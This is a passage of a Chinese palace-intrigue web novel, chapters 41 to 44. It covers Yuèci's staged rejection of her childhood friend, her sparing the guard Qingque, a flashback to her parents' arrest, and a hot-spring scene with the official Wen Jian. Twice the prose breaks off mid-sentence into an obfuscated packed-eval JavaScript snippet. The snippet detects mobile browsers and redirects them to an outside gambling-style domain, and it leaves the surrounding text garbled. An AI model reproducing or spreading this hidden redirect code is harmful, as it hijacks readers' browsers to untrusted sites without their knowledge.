闻鉴默不作声,只拉过她的手细细擦拭,才道:“他想带你走。” 手上不可遏制地用了些力气,“你答应了?” 月慈蹙眉,将手用力抽回:“当然不,我若现在走了,岂不是前功尽弃。” 闻鉴眉眼一抬,眼底又透着点光华。 庄泽宣不可置信望着眼前一幕,曾经闻鉴为隐藏身份不得不对阿慈卑躬屈膝也就罢了,为何他现在既恢复了身份地位,仍是一副小跟班的姿态对她? 是阿慈对他还有利可图,又或者是…… 庄泽宣简直不敢深思,一想到另一种情况,便觉得一阵恶心反胃。 剑刃逼近,血痕更深,他恍然未觉,只瞪眼红了的眼眶喊道:“阿慈!此人居心叵测,你为何一定要留在他身边!?” 难道连她也动摇了么! 月慈几不可察地将眉一蹙。 她这青梅竹马心眼不坏,就是有点太憨了,不过这副模样倒是叫她有些感动。 明明小时候这家伙是他们三人中唯一的男孩,却也是最胆小的一个,但如今却敢冒死带她离开。 一时月慈有些哭笑不得,但她瞥见身边闻鉴的脸色,心知这种时候能保住庄泽宣的最好的方式就是让他闭嘴,打断念想乖乖离开,否则按照闻鉴这喜怒无常,眼里又容不得沙子的性子,只怕今夜还要再开杀戒。 月慈心里瞬间有了主意,她绕过闻鉴,朝庄泽宣靠近。 身后一道目光紧紧追随着她,持剑抵在庄泽宣脖子上的那人也将剑握紧了,好似只要月慈表现出一分要走的意思,那把剑就会无情地砍断庄泽宣的脖子。 月慈在离庄泽宣两步之遥站定,冷漠道:“我的事不用你管,留在这里是我自己的意愿,你走吧。” 庄泽宣挣扎了一下:“不,我既答应过二舅他们要照顾你,就一定会说到做到!” “啪”的一声,突如其来的一巴掌打断了他的挣扎。 月慈吼道:“你这人是有什么毛病,让你滚你听不懂吗!” 闻鉴紧绷的嘴角忽地松懈了,有人为他搬来把凳子来,他便好整以暇地坐在一旁,静静观看。 哪怕知道月慈心里在想什么,但那都不重要,重要的是他想看到的样子,而庄泽宣死不死,对他来说无伤大雅。 庄泽宣表情一下子凝固住,没等回过神来,又听到月慈说道。 “跟你回去有什么好的,掌印位高权重,我跟着他好歹吃香的喝辣的,想做什么便做什么,看不惯谁也只是一句话的事,但你除了动动嘴皮子,还能为我做什么?” 他满脸震骇:“阿慈,你不是被他胁迫了,是不是他逼你这么说的?” 月慈便叹了口气,道:“你看我像被威胁的样子吗?” 她转头,冲闻鉴唤一声,“过来。” 42. 往事 闻鉴眉梢一动,当真乖乖起身走到了她面前,下一瞬领口忽然被人一把拽住,身子俯下稍许,脸颊骤然贴上了一个软乎乎的东西。 有点凉,还有点颤抖,不过蜻蜓点水的一触,很快分开。 闻鉴不可遏制地微微睁大了眼。 时间在此刻仿佛被冻结,茶楼内一片死寂,就连外头的雨声都一并消失。 所有黑鸟卫脸上皆是一片怔然,麻雀尤其。 不知道青雀看到这一幕会作何感想,反正他现在什么也不敢想。 月慈也觉得自己胆大妄为了些,只在面上故作镇定,心里却一遍遍地打鼓。 缓神过后,她扭头又重新将庄泽宣望着,故作冷漠道:“看清楚了?这里才是我选择,让你滚是为了你好,不要再生出带我走的妄念。” 月慈故作漠然。她看不到自己脸上泛起的云霞,庄泽宣却看见了,因此更加觉得真实可信。 她还是那个心思单纯的阿慈吗?闻鉴明明连男人都算不上!就因为所谓的权势地位,她就对他投怀送抱? 庄泽宣心中有如山石崩塌,接受不了眼前发生的这一幕,恨不得这剑直接抹了他的脖子! 一时气愤难当,道:“好!好!我知道了。” 闻鉴思绪渐渐回笼,飞快地眨了两下眼睛,将方才的错愕遮掩下去,恢复了以往的漫不经心,冲那持剑的黑鸟卫抬了抬手。 长剑撤去,闻鉴一手负在身后,一手却径直揽过了月慈的腰。 他眼中升起一片狡黠,像是想到了什么有趣的点子,这种感觉比直接杀了庄泽宣,或是折磨他还要畅快。 “看在咱家这宝贝心肝的份上,送庄公子回去。切记,好好护送,不得出任何闪失。” 月慈:“?” 他刚刚叫她什么? 月慈不知道闻鉴又在玩什么把戏,这话乍一听还以为是要在半路动手,一时挣动了两下,箍在她腰上的那只手却更紧了些。 庄泽宣见这两人私下里的小举动,以为他们是在光明正大的调情,气得眼底猩红一片,温润不复,只剩下满脸的厌恶。 “假惺惺,不用你送!” 闻鉴粲然一笑:“这可由不得你。” 庄泽宣气得胸腔剧烈伏动,在两名黑鸟卫的看守下拂袖离去了。 月慈瞬间将闻鉴推开,一脸警惕地瞪着他:“你想做什么?” 闻鉴露出一点无辜,摊了摊手:“我不会杀他的。” 月慈看他心情不错的样子,却像是藏了点坏。 果然,闻鉴又道:“虽然不会杀他,但难保我那些手下护送不当,途中出个什么差错让庄公子缺胳膊少腿,可就不好了。” 月慈:“所以?” 闻鉴道:“所以不妨你把先前对我做的,可以再做一遍。” 月慈一时脸色,知道他是故意的,转身骂道:“滚蛋。” 茶楼大堂,堂倌和掌柜的都站在柜台后,望着眼前一众的黑鸟卫,缩着脑袋不敢吱声。 楼上急急下来个人,堂倌稍稍抬眼看去,见是先前那被雨淋湿的狼狈姑娘,此刻面色涨红,脚下走得飞快,不像是逃命,倒像是有点羞赧又气愤的样子。 她后面还跟着一人,一身雪袍的男人脚步沉稳,不紧不慢地跟着。 堂倌一见那人,顿时又吓得低头,只是好奇心占于上风,让他忍不住悄悄抬眼看去,这一看倒是让他看见了不得了的一幕。 女子走到门前被眼前的雨阻挡了脚步,一旁的黑鸟卫正要为其撑伞,掌印却先一步接过了那柄竹伞,随后遮着她来到马车的脚凳前。 紧接着,掌印伸出一只手,堪堪搀着那名女子上了马车。 堂倌:“……” 那个姑娘到底是什么来头,竟然能让魔头为其撑伞搀扶!? 直到黑鸟卫跟随马车一起退去,他才猛地掐了自己大腿一把,“嗷”的大叫一声,惊觉刚刚看到的一幕竟不是在做梦! —— 一进车内,月慈便闻到一股浓烈的香味,呛的直冲天灵盖。她才坐下,车帘又被掀开,风灌进的同时,露出车帘后一张白玉无瑕的脸。 月慈看到那张脸便想起在茶楼内自己的所作所为,登时心里生出了点奇异的感觉,别扭地看向其它地方。 这一看,余光扫到角落里的几滴血迹,神色倏地一沉。 街上出现躁动时,她便听到了关于闻鉴将要抓捕李尚的事,这地上的血想必不是他的,而是李尚的。 那么,他今夜离开宫中的团圆宫宴便不是为了她。 可笑,月慈竟然有那么一瞬间以为,他是为了她才出宫来的。 但很快她便觉得自己荒唐,就算是为了她,又当如何。 月慈有些烦躁,掩了鼻子,一手将那熏香直接丢出了窗外。 “下次别用这种难闻的东西。” 闻鉴也不伸手阻拦,就坐在一旁静静看着,但很快,月慈的目光便落在了他身上,那眼神像是要把他也从窗外丢出去。 她的手动了。 闻鉴眼睛紧盯着。 却见月慈只是将手探进袖口里,从里面拿出了一样东西,递到他面前,道:“用这个。” 她手中握着一个白色的香囊,用以湖蓝的丝线绣着一只展翅欲飞的鸟。 闻鉴喉头一滚,小心翼翼地双手将之接过,却是问道:“为什么是蓝色的鸟?” 月慈也说不上个所以然来,只觉得那立在飞鸟阁上的纯金打造的鸟虽然华丽堂皇,却太过沉重,倒不像是起飞,反而是坠落。 然而她没对闻鉴说这么多,只道:“蓝色好看。” 看起来轻盈。 闻鉴望着失而复得的香囊,说不出心中是什么滋味。只觉得它太过沉重,以至于自己双手捧着,都觉得吃力。 很快,马车停在了飞鸟阁前。 闻鉴让月慈先去换身衣裳,随后领她去见一个人。 月慈当然知道他要带自己见谁,只是她没想到闻鉴连跟随自己出生入死的属下都能下得去手。 飞鸟阁中有地牢,阴暗潮湿,空气中散发着一股霉味。 两侧石墙点燃火把,青雀被人拖上来的时候,身上已经被鞭子抽了满身血痕,但尚且留了他一命,应该是在等月慈亲自处置。 还有其他几个黑鸟卫,也被打得不轻,如果月慈没猜错,应该就是那些对她挥刀的人。 闻鉴往月慈手里塞了一把窄刀,慢悠悠道:“他们就交给你处置了。” 他一副无所谓的淡然模样,不知道的还以为只是在处理鱼虾。 月慈便又有些看不懂他。 青雀说闻鉴救过他的命,可如今他的救命恩人却将他打成了这副模样,还有其他的黑鸟卫,忠心耿耿却换来一顿鞭子。 青雀跪在两人面前,低垂着脑袋,月慈看不见他脸上的表情,自然不知道他心里在想什么。 她提着窄刀走近,站在青雀面前,旁边的麻雀捏了把冷汗,紧张地盯着她。 月慈这人向来有仇报仇,有怨报怨,按理说青雀差点派人杀了她,她就算朝他挥刀也是理所应当。 青雀闭上眼,面容平静地等待死亡来临。 只听得“当啷”一声,他猛地睁开眼,先是看见面前掉在地上的窄刀,然后是云白鹤纹裙的一角,继而向上看去,他对上了自己最厌恶的一张面容,那双眼睛却从容漠然地将他望着。 他脸上一时浮现出不解,就连闻鉴也愣了一瞬,但很快便恢复了常色。 麻雀小心翼翼地松了一口气。 月慈丢了刀,道:“处置什么,青雀是做了什么错事吗?” 闻鉴还没开口,青雀先激动地喊了起来:“别装了!你早该猜到追杀的人是我派出去的!没错!我就是为了杀你!你就是个祸害!” 闻鉴听得皱眉,正准备一脚踹上去。 又听得月慈开口道:“追杀?可我今夜并未遇到什么追杀的人啊?” 一时间,几人都是一脸怔然,扭头望着她。 月慈道:“虽然我不知道你们在玩什么把戏,但这件事就此作罢,今夜我没见过什么杀手,也不想杀人。” 她打了个哈欠,看向麻雀:“走,送我回去。” 麻雀原地愣了愣,才拿了把伞跟上她。 路上,见她神情平静,还是没忍住问:“你为什么要说谎?今夜若不是我及时赶到,你怕是已经死了。” 月慈脚步没停,淡淡道:“跟你家大人学的。” 麻雀更是不解,他心里还有许多想说的话,但最终到了嘴边,只变成了一句:“其实……” 便住了口,不知该如何往下说,只憋出一句,“其实你也是个好人。” 月慈像是被他的话逗笑了,发出短促的一声轻嗤,但她神色未变,只定定瞧着前方,廊下的灯仿佛照不进她眼底。 语气变沉了些,道:“我可不算个好人。” —— 月慈离开后,闻鉴那一脚终是踹了出去。青雀摔在地上,在地面留下一道道血痕。 “疼吗?”他神色比起方才更加冷凝,见青雀倔强摇头,又生出几分肃杀之气。 “可你该疼的。我说过不准对她出手,你表面应和,却背着我干出这种事来,青雀,我是否可以将此视为背叛。” 青雀紧咬着下唇,又强忍着疼跪在了闻鉴面前。 成为黑鸟卫的第一言律,便是忠心侍主,不得背叛,否则当受万劫不复的刑罚。 大人只是抽了他几十鞭,已经是万分开恩了。 可…… “大人,青雀不明白,您为何要不顾性命的对那个女人言听计从!难道大人您忘了我们的,计划吗?”他两手紧握成拳,伤口崩裂渗出更多血水,却浑然未觉,只是觉得如果不解了心中疑惑,哪怕是死都不能心安! 听到最后二字,闻鉴眼帘一下子垂了下去:“不。” 地牢内光线昏暗,他眼中死寂一片。 所有人都在提醒他“计划”,哪怕那是一道万丈悬崖,他也唯有跳下去。 青雀见他沉默,胸腔剧烈鼓动着,迟疑片刻,还是决定问出心中疑惑:“那……大人您莫不是真的对她动了心思?” 闻鉴眼睫轻动,这次却是迟疑了。 他并未直面回答,只固执的将沸腾的情绪压将下去,唇线绷直道:“对我来说,她是最好不过的白绫。” 那最后二字极低,低到连他自己似乎都听不见。 ——白绫。 青雀猛地一惊,脸上本就血痕交错,此刻在昏暗的光线中显出几分狰狞。 他怀疑自己是不是听错了,满脸惊愕,可一回想起大人一路走来的种种,又觉得,本该如此。 从大人被推上那个位置开始,结局便已注定,要坠入那万劫不复的深渊。他只想让他活,却忘记了在悬崖上站久了会渐渐麻木,会被刚烈的风吹得摇摇欲坠。 灵魂若是死了,□□活着还有何用。 这一刻,盘踞在青雀心底的乌云骤然消散。 既然月慈对他既往不咎,闻鉴也未对他下杀手,只又警告几句,便让他退下了。 然而当青雀拖着伤痕累累的身体回到住处时,还未等开门,便已察觉到屋内有人。推门而入的手只是一顿,他当即眸光一凛,随即将门推开。 月慈端端正正地坐在暗处,讳莫如深。 “原来是想在大人面前装的柔弱善良,”青雀将门合上,冷嗤道,“早知道你虚伪,要杀就杀。” 他站在原地,没有想反抗的意思。 月慈身形未动,依旧坐在椅子上,只抬手将旁边的灯点了,火光跳跃着,微弱的光在她脸上打下一片晦暗的侧影。 然后她端着烛灯走近青雀:“没什么好装的,我说了不杀你,便不会杀你。” 话音刚落,她抬手扇了一掌落在青雀脸上。 这一掌用了极大的力气,以至于青雀脑袋歪向一边,虚弱的身体正要往边上倒去,却被月慈又抬手拽了回来。 月慈一手提着青雀的衣领,一手将烛火靠近他的头,只差一毫就能燎烧到他的头发。 沉声道:“其实你根本无需调查,因为你肯定知道真相,拖延时间不过是为了趁闻鉴不在的时候取我性命,但我已经没有耐心了。” 烛火的照耀下,青雀眼底闪过一丝讶然,似乎没想到月慈能看穿他的心思。 但他还是紧咬牙关,露出一副凶神恶煞的表情:“那又如何,你既想杀了大人,我就要杀了你!” 又是一掌掴在了他脸上,月慈漠然道:“笑话,你自以为的忠诚不过只是变相的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200356|163174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愚蠢,杀了我,你以为闻鉴会如何。” 青雀皱眉:“你什么意思?” 月慈道:“一直以来闻鉴想营造的,不就是他在外人眼里的‘刽子手’形象么,冷血嗜杀,残暴疯癫,只有这样所有人才会将矛头落在他身上。” 所以她从一开始就被骗了,被带进了闻鉴所营造的假象中,在看到月霞尸体从飞鸟阁被推出的一刹那,理所当然认为这样的人一定就是凶手。 月慈顿了一下,才继续道:“青雀,你不是在救你家大人,而是在把他推得更深。” 青雀没想到月慈会这么说,一时哑口无言,不知道让她靠近这些真相到底是好是坏。 私以为,将一切和盘托出,或许他家大人就不会整日用命去陪她,但若是就这么坦而告之,他无法确认月慈此人是否值得信赖,不会坏了计划。 直到月慈松开他,铿锵有力道:“只有我能将他拉回来。” 青雀眼中瞳孔骤然一缩。 心道,也许这人并不是他想象的那样不自量力,傲慢又愚钝。 明明就只是个女子,没有背景势力,也不会武功,普普通通如一叶浮萍,随便丢一颗石子便能将她压进湖水之下,可她却倔强地偏要浮于水面之上。 这瞬间他似乎理解了大人为什么会对她如此特别,又将她当做“白绫”。 谁说白绫只能用来自裁。 他既做不了拯救大人的人,那便希望有人能将大人从必死的悬崖上拉回来。 郁结的思绪终于得到了解脱,青雀长舒一口气,情绪平复后,竟感到没来由的轻快。 月慈第一次看见青雀用这种平和的目光望着自己。 他艰难地咳出一口血,才道:“月姑娘,无论我现在说什么,你大抵都是不信的,既然如此,你不妨自己亲眼看看真相。” 月慈眉峰一紧:“什么意思?” “下个月初三定文侯府将举办生辰宴,月姑娘不妨再多等几日,那里或许有你想要的答案。” 月慈道:“给我一个信你的理由。” 青雀咧嘴笑了一下:“姑娘心里清楚,你也在犹豫大人究竟是不是你的仇人,只怕是错杀,真正的仇人依旧逍遥法外。反正大人对你并不设防,究竟真相如何,姑娘多等几日看看又何妨?” 随即,他咬牙忍着疼,竟面色肃然地跪在她面前,行了一个大礼。 “抱歉姑娘,原先对您多有误会,做了不少错事,还望姑娘莫怪!”顿了顿,他眼中似有一点亮光忽闪,“若姑娘不能原谅青雀所为,日后但凭姑娘一句话,青雀甘效犬马之劳!只是青雀还有一不情之请,希望您能说到做到,在得知一切后……能够救救大人!” 说罢,重重朝月慈磕了一头。 —— 庄泽宣被几个黑鸟卫护送到驿站门口。 他原本以为闻鉴会叫他们半路动手,未曾想竟是真的将他安全送了回来。其中一个黑鸟卫从怀中摸出一样东西递到他面前,那是几张红色的花笺。 庄泽宣不明所以地看着,冷声道:“什么意思?” 黑鸟卫道:“这是大人特意交代的,说是祝庄公子能早日找到自己的另一半。” 说完不等庄泽宣拒绝,直接将花笺往他手中一塞:“庄公子最好收着,免得叫大人生气。” 言外之意便是警告。 几个黑鸟卫漠然隐进黑暗中,庄泽宣捏紧了手中的花笺,直到对方身影完全消失,才将那些花笺随手丢在地上,愤然转身。 回到房间后,他唤人拿了笔墨纸砚来,写了满满的一页纸,才收好了,交给候在一旁的仆从,道:“送到玟州七宝镇慈悲村里的刘屠户一家。” 阿慈是个重情之人,既然她不听他的话,那就找个能让她听话的人来。 仆从正要接过信件,庄泽宣却又将手一缩,面上浮现一点凝重。 不对,按理说他没收到阿慈的信,可以理解为是被闻鉴阻拦,但阿慈离开家这么久,刘屠户一家竟也没有书信一封到云城来,只怕是某人又在暗中做了手脚。 于是他将信交给仆从,又重新低声交代了一番。 仆从拿着信离开了。 桌案旁正好摆着一面铜镜,庄泽宣转头时被铜镜印出了另一副模样,眉间阴郁未消,与那个总是儒雅温润的公子截然相反。 他望着镜子,抬手抚上额角的伤疤。 十几年前,这道疤还不存在。那时他与月慈月霞是最好的伙伴,以至于父亲说要搬家时,他撒泼打滚,就是不同意。 那年七宝镇的县令生了个怪病,找了许多大夫医治都无用,后来有人推荐了月慈的父母。起初县令并不信任乡野之地的小郎中,最后大概是被逼无门,只好让他们试试。 庄泽宣还记得那一日午后,他像往常一般去寻两姐妹,院里只有忙碌的月父月母,空气中飘着一股浓苦的药味。 月父穿着一身儒雅的长衫,说话总是慢悠悠的,笑起来很温和,从屋内拿了一块桂花糕给他,对他道:“她们俩还在午憩呢,你要不晚会儿再来?” 庄泽宣应了声好,却没离开,他坐在月家的门口把桂花糕慢慢啃完了,又百无聊赖地玩了会儿石子,听到院子里的谈话声。 月母道:“这药虽然不能根治大人的病,至少能替他缓解下症状……希望能给咱们多争取点时间吧。” 月父叹了口气:“但愿吧,一会儿我换身衣裳去送药,你夜里都在查阅医术,先去休息吧。” 院子里很快没了人,只剩下还在蒸煮的药罐散发着难以言喻的气味。 庄泽宣站在药罐前好奇地探头。 …… 县令死了,在喝了月父端来的药后,官兵逮捕了两人,拷着他们从街上一路游行。街道两侧是拥挤的人群,庄泽宣像个肉包被挤在中间,骤然意识到自己做了件错事。 可是他不说有谁会知道呢? 只怕是承认了就会挨骂挨打,甚至有可能将他也拷走。 他开始发了疯地往家跑去,穿过议论纷纷的街道,穿过田埂小径,心脏在胸腔中狂跳,结果在进门时摔了一跤,脑袋磕在了门槛上,顿时世界天旋地转。 门里的父母看见了,着急地迎出来。 那时他拉着他们的手,脱口而出的第一句话是:“爹,我们搬家吧!” 43. 汤泉 申正时,小梅盘算着这个时间的月慈约莫是练武累了,便端着一叠新鲜的葡萄,穿过长廊准备给月慈送去。 长廊尽头却坐着个人,穿着一件薄薄的碧绿色夹袄,百无聊赖地坐在廊下,面朝着深绿的湖水,手里攥着几颗石子。丢出去一颗,“咕咚”一声,她便叹上一口气。 小梅愣了一愣。 月慈这段时日练武都很勤快,没想到今日却会在这里偷闲,看上去一副心事重重的模样。 她走近,将葡萄放在月慈旁边,低唤了一声:“月姑娘。” 月慈轻轻“嗯”了一声,头也没回,却是又丢出了一颗石子。 小梅刚想问她坐在这里是有什么心事。 月慈却先一步开口道:“你原本的名字叫什么?”她晃着腿,面容看上去很是平静,“梅雀?” 小梅顿时眸光一紧,但月慈一副不怎么在意的模样。 她扮成侍女呆在月慈院中,一面是为护身的武婢,一面是为监视其动向。只怕是说多错多,干脆将自己装得腼腆内向,少言多做,却没想到早就被发现了。 她迟疑道:“姑娘是什么时候知道的?” 月慈叹了声气,停下了晃脚,扭头冲她莞尔一笑道:“之前是怀疑,昨晚是确信。不过你别紧张,你又没伤害过我,” 她掰着手指头数,“除了替闻鉴监视我,传达我的行动外,就只有偷偷把我写的信拿走。” 小梅:“……” 她沉默了一会儿,才张口回答:“明雀。” 月慈点头,哦了一声。 几个来她院子里的姑娘,她最喜欢的就是小梅,因为她话不算多,做事也十分麻利。 月慈想起正事,又问她:“你知道如何才能让闻鉴带我去定文侯的生辰宴吗?” 其实月慈也可以自己偷偷溜出飞鸟阁,但浑水摸鱼藏进侯府容易行动受阻。毕竟这里是京都,她此番去的地方是侯府,又不是许宅,守卫必定森严许多。 如果能借闻鉴的身份光明正大地混进去,不仅行动上方便许多,关键时刻还能将黑锅扣在那家伙的头上。只是据青雀所说,他们以往出行,无论去何处,闻鉴都不会带上侍女,如果她贸然伪装跟去,倒容易叫人看出破绽。 若是能说服闻鉴此次带上侍女,她就有了顺理成章的藏身地。 总之计划通,可行。唯一的变数是,一向对她言听计从的闻鉴却在这件事上将她拒绝了。 明雀不解月慈为什么会突然产生去定文侯府的念头,却没追问,只认真回答道:“掌印不是最听姑娘的话么,只要姑娘开口,掌印必会答应的。” 月慈前两日就试过了,没用,闻鉴似乎在不让她去侯府这件事上态度十分坚决,任凭她是刀劈斧砍,他都不为所动。 明雀听后沉默了一阵,才道:“那姑娘试过另一种方法么?” 月慈问:“什么?” 明雀转了转眸子,嘴角几不可闻牵起一点,道:“许是掌印吃软不吃硬,姑娘不妨试着让掌印开心一些。” 月慈觉得她说的有道理,却不大知道怎么哄人开心。 嗯……再带他去买件新衣裳?可人家现在是掌印,也不缺她那三瓜俩枣买的破衣裳吧。 明雀见她犹豫,有意提醒道:“姑娘想让掌印开心的话,还是很简单的,比如送点小礼物,又或是……撒个娇。” 月慈听到最后三个字猛地掉了一身的鸡皮疙瘩,她将手里的石子一次性全丢了出去,看见旁边正好有一叠葡萄,便端了起来,道:“还是选前者吧。” 说完,起身顺着长廊跑走了。 明雀欲言又止地张了张嘴,最后只好望着那道浅色的背影叹了声气。 送礼当送令人心情愉悦的小玩意,可掌印他……最讨厌的就是水果了。 —— 闻鉴不在飞鸟阁,也不知道是跑到了哪去,月慈兜转两圈后,才让初一给自己领路。初一大概早就习惯了被她指使,替她指了路,朝飞鸟阁后方的山飞去。 临近初冬,青山已是一片枯黄,像半轮落日挂在飞鸟阁的后头。月慈走在落叶飘落的林间,一时只能听到枯叶枝在脚下碎裂的声音。 走了约莫一盏茶的功夫,才见远处出现了一座院子,门口有数十名黑鸟卫排开把守。 见到月慈,这些人却一反常态,拦着月慈不让进:“月姑娘暂且先回去吧,掌印现在有重要的事要做。” 月慈手里还端着那叠果子,闻言皱眉扫了眼紧闭的院门。 难不成闻鉴是在躲她? 这样的心思刚生出来一瞬,院门从里面被人打开了。 面无表情的青雀立在门口,朝旁边让出一条路来,冲月慈道:“进来吧。” 他脸上还带着几道伤,比起以往,如今他面对月慈时眼底的情绪平静许多。 月慈径直端着水果踏进院子。 这里面看起来十分空旷,迎面是三扇漆红的门,左右两扇较小些,中间的门看上去最大。 青雀领着她往中间的门走去,月慈安安静静跟在身后,光明正大打量着:“这是什么地方,先前怎么没见过?” 青雀道:“先前掌印下令搭建的,只不过最近几日才建好。”他停在中间那扇漆红的门前,“掌印就在里面,月姑娘你……自己进去吧。” 他神情有几分古怪,月慈狐疑地望着此人远去,一时琢磨不出里面到底是个什么。 进门前看见果盘上因为一路走来面上落了一层灰,顺带着悄悄用袖子拭干净了些。 反正不是她吃的,不干不净,吃了没病。 月慈推门而进,感觉到一股潮汽,迎面一团云雾飘然而来,模糊了她的视线。 月慈:“?” 什么地方?闻鉴盖房子盖到神仙老家了? 屋子里灯光昏暗,还有不少白蒙蒙的雾气,月慈隐约辨认出不远处有一扇屏风,于是慢慢靠近,终于看清这屋内情形,原来是一座热气氤氲的汤泉。 潮热的白雾在水面升腾,像是天下落下了一团团的云,而不远处的云海中,影影绰绰立着一道人影。他半个身子浸没在水中,只露出上半身精瘦的身形,细看还是隐约能看清臂膀上肌肉起伏的线条。 一瞬间,月慈立马意识到汤泉里的人是谁,脚下却如生根般走不掉。 对方湿漉漉的长发披散在肩头,面上是一片潮热的湿意,一双漆黑的眸子在雾气的遮掩下更显得耐人寻味,水汽在面上凝结成珠,月慈的目光跟随着那颗水珠,眼看着它顺着鬓角划过一道流畅的弧线,最后砸散在好看的锁骨凹陷处。 月慈眼睫轻动,忍不住低低骂了一句脏话:他大爷的。 闻鉴这才回过神来,好看的眉头顿时皱起,迅速背过身去,斥道:“出去!” 月慈本来就想出门,被他这么一喝,反而激出了点逆反之心,当即盘腿坐了下来,将果盘放在一边。 坦然而又平静地望着闻鉴:“为什么?又不是没看过。” 以前她给他上药的时候,也不见他这么抗拒啊。 这一副不以为意的模样,就像是经常穿行在风月场所的嫖客所为,可她眼底没有轻蔑之意。 闻鉴依旧将背对着她,在雾气中留下一道朦胧的身形。 那她已经见过了吗?见过他那处的丑陋模样。 闻鉴肩膀似是轻颤了一下,嗓音也有了起伏的痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15223484|163174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹,哑然道:“你来做什么?” 月慈想了一会儿,直言道:“来劝你让我去侯府。” 闻鉴沉默片刻,道:“那这次你又想玩什么花样?” 听语气,月慈察觉到他情绪不佳。 不对啊,她不是来哄他高兴的吗?怎么越整越生气了。 只好拿出自己准备好的东西,扯出皮笑肉不笑的模样,耐着性子道:“这次我这次可是很有诚意的。” 她重新端起瓜果朝闻鉴的方向送了送,“你看。” 闻鉴像只警觉却又忍不住好奇的小兽,迟疑着偏过头来。 隔着一段距离,看到对方捧着一个七彩琉璃盘,盘子里放着满满当当的紫色葡萄,饱满莹润,看上去很是新鲜。 闻鉴额头一跳,恨不得自戳双目:“……这就是你的诚意?” 谁家的诚意是一叠破水果,还是他最讨厌的那种。 偏偏对方觉得诚意满满:“是啊,我见你那飞鸟阁里都没什么吃的,如何,你要试试吗?” 那双手往前送了送,闻鉴皱眉道:“……拿远点。” 月慈道:“为何?你不喜欢?” 闻鉴视线往上抬了些,少女的面容将掩未掩地藏在雾气后,就像他曾经目不能视,只能模模糊糊窥见一点身形。 他开口,嗓音却是疲软下来,不似方才那般尖利,低低道了一声:“喜欢。” 月慈听到他语气松动,也跟着松了一口气,心想:这叠果子真是没白带啊。 她之前从未试过这种计策,说不定真像明雀说的那样可行。 “那你现在高兴吗?”她问。 闻鉴没有回答,但他似是察觉到了什么,原本耷拉下去的嘴角往上牵了牵,像是忽然想到了什么恶劣的点子。 “不算高兴,还差一些。” 月慈低低啧了一声,耐着性子问:“那你还想吃什么?” 闻鉴站在汤泉内,那水只到他的腰腹,再往下便是乳白一片。他拨开水面缓缓靠近,停在了汤泉边上。 对方骤然靠近,近到两人之间只有一臂的距离,中间雾气仿佛只是一种暧昧的挑逗,拂在月慈脸上,痒痒的。 月慈被雾气眯了眼睛,从她这个角度看去,又是居高临下的姿态,闻鉴的眼里蒙了一层水汽,那双眼睛看着却比以往都要暗些。 他眼睛盯着她,却是缓缓伸手朝那叠葡萄探去。 猝不及防的,那手转了个向,骤然扣住了月慈的手腕,将她一把拽入泉水中,飞溅起一大片水花。 手中的果盘被打翻,葡萄散落在泉水中漂浮起来,像是打碎了一块紫色水晶飞散出来的碎片,漂浮着环绕在两人周围。 月慈被呛了一口水,好不容易踩实了地,没等破口大骂,忽然眼前变得模糊——有什么东西落在了她的头上,像是一层轻薄的纱。 闻鉴欣慰的声音隔着纱幔,慢悠悠的:“现在高兴了。” 于是月慈总算看清了这个混蛋,不高兴的时候不仅喜欢撒谎,还喜欢耍人。 月慈恼火地想,就算没有闻鉴,把事情弄得复杂些,也好过于和这家伙相处! 她一把扯下头上的纱,看见闻鉴已然上了岸,背对着她,套了一身薄薄的云纹白袍,正低头整理腰间的束带,一副懒散模样。 边道:“这汤泉有舒缓疲劳,镇定利眠的功效,你可以在里面泡上一段时间再出来。” 月慈一怔,没等反应过来,见他往外走了两步,又停住。 闻鉴微微侧头,眼底升起一点狡黠的光:“说起来,那日我本就要带上侍女前去献礼……” 他顿了顿,“还有,我讨厌水果,尤其是葡萄。” 44. 铃铛 定文侯生辰宴这日,飞鸟阁出行的阵仗比往日都要高调。数十名黑鸟卫骑着高头大马护送在红顶马车两侧,后方是随行伺候的侍女,再后方是一些小厮,抬着装了奇珍异宝的红木箱子。 一行人几乎占据了一整条街道,停在飞鸟阁前默然等候。 闻鉴慢悠悠地从飞鸟阁内走出来。 他今日穿了一身石绿的圆领广袖长袍,外面早早披了一件雪白的大氅,比起往日的懒散,此时多了几分雍容的华贵之气。 所有人都在等他一个,他却不紧不慢走到马车前。车夫恭恭敬敬放下脚蹬,青雀神色肃穆立在旁边,只待大人上马后便可下令出发。 闻鉴看向四周,不知道是在找什么,目光穿过层层人群,最后抬手指着站在马车斜后方一个穿着藕粉色衣裙的侍女,道:“过来。” 那名侍女大概没想到闻鉴会叫她,愣了愣,却是踌躇着没有上前。 麻雀皱眉,觉着耽误了时间,便下马朝那名侍女走去,拿出黑鸟卫的气势,边喊道:“掌印让你过去,磨磨蹭蹭的……” 近了,看清了那名侍女的脸。 侍女正抬眼瞪着他。 麻雀:“……”这两人又在玩什么呢。 他声音立马放柔了些,“不如你就过去吧,不然可要耽误不少时间了。” 这侍女不是别人,正是月慈。 月慈本来不想搭理闻鉴,架不住周围无数双眼睛朝她看了过来,只好一边在心里暗骂,一边硬着头皮走到闻鉴身边。 不情不愿地喊了声:“掌印。” 闻鉴只当看不见她眼底迸发的杀意,心想机会难得,便有意带着玩味道:“府里没人教你规矩吗?” 报复,绝对是报复! 